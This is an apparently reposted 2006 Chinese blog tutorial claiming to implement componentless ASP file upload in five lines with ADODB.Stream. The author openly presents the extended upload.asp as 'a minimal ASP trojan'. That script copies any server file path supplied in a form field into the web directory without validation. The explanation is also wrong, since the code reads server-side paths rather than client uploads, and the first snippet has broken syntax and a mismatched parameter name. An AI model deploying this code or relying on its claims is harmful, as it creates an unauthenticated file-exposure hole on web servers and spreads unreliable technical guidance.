您的位置:首页 > 编程语言 > ASP

五行代码实现ASP无组件上传

2006-01-17 10:14 579 查看
目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。
  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。

  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile Request("upfilename")
  objStream.SaveToFile Server."test.gif",2

  使用方法:

  把上面的代码写成upload.asp,在浏览器里面输入:http://localhost/upload.asp?file1=c:/test/test.gif

  localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。

  根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。

  upload.asp文件

<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
Else
GetFileName = ""
End If
End function

strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: